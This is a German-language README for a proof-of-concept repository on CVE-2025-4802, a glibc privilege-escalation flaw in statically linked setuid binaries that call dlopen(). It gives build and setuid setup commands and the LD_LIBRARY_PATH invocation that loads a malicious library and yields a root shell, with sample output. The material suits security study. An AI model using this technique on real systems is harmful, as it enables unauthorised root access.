
Proof of Concept für eine statisch kompilierte setuid-Binärdatei, die anfällig für dlopen mit LD_LIBRARY_PATH ist
⚠️ Haftungsausschluss: Dieses Repository dient ausschließlich zu Bildungs- und autorisierten Sicherheitsforschungszwecken. Nutzen Sie diesen Exploit nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben. Missbrauch kann gegen Gesetze und Vorschriften verstoßen.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2025-4802 |
| Betroffene Software | GNU C Library (glibc) |
| Betroffene Versionen | 2.27 – 2.38 |
| Schwachstellentyp | Privilegieneskalation über nicht vertrauenswürdigen LD_LIBRARY_PATH |
| Angriffsvektor | Lokal |
Eine Schwachstelle in der GNU C Library (glibc) Versionen 2.27 bis 2.38 ermöglicht es einem Angreifer, die Umgebungsvariable LD_LIBRARY_PATH in statisch kompilierten setuid-Binärdateien auszunutzen, die dlopen() aufrufen.
Normalerweise bereinigt der dynamische Linker LD_LIBRARY_PATH für setuid-Programme. Da jedoch statisch kompilierte Binärdateien den dynamischen Linker vollständig umgehen, wird LD_LIBRARY_PATH niemals gelöscht. Wenn eine solche Binärdatei dlopen() aufruft (direkt oder indirekt über setlocale() oder NSS-Funktionen wie getaddrinfo()), löst glibc gemeinsam genutzte Bibliotheken unter Verwendung des vom Angreifer kontrollierten LD_LIBRARY_PATH auf, wodurch beliebiger Code mit erhöhten Privilegien ausgeführt werden kann.
dlopen("myso.so", ...) auf, um ein Shared Object anhand seines Namens (nicht eines absoluten Pfads) zu laden.ld-linux.so) nie ausgeführt, sodass LD_LIBRARY_PATH nicht bereinigt wird.myso.so), das dasselbe hello()-Symbol exportiert, aber eine Root-Shell startet.LD_LIBRARY_PATH so, dass er auf das Verzeichnis mit der bösartigen Bibliothek zeigt..
├── main.c # Quellcode der angreifbaren setuid-Binärdatei
├── myso.c # Legitimes Shared Object (sicher)
├── evil_library/
│ └── evilso.c # Bösartiges Shared Object (startet Root-Shell)
├── proof_of_concept_screenshot.png # Terminal-Screenshot des Exploits
├── proof_of_concept_video.mp4 # Video-Walkthrough
├── Makefile # Build-Automatisierung
└── README.md
ldd --version)gcc, makemake all
Oder manuell:
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c
# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl
# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
Erwartete Ausgabe:
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
LD_LIBRARY_PATH (bösartiges Verhalten)LD_LIBRARY_PATH=./evil_library ./main
Erwartete Ausgabe:
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root
Die Binärdatei lädt das myso.so des Angreifers aus evil_library/ anstelle des legitimen und startet eine Root-Shell.

Ein Video-Walkthrough ist ebenfalls verfügbar: proof_of_concept_video.mp4
dlopen() verwendendlopen()-Aufrufen anstelle bloßer Bibliotheksnamen verwendendlopen() aufheben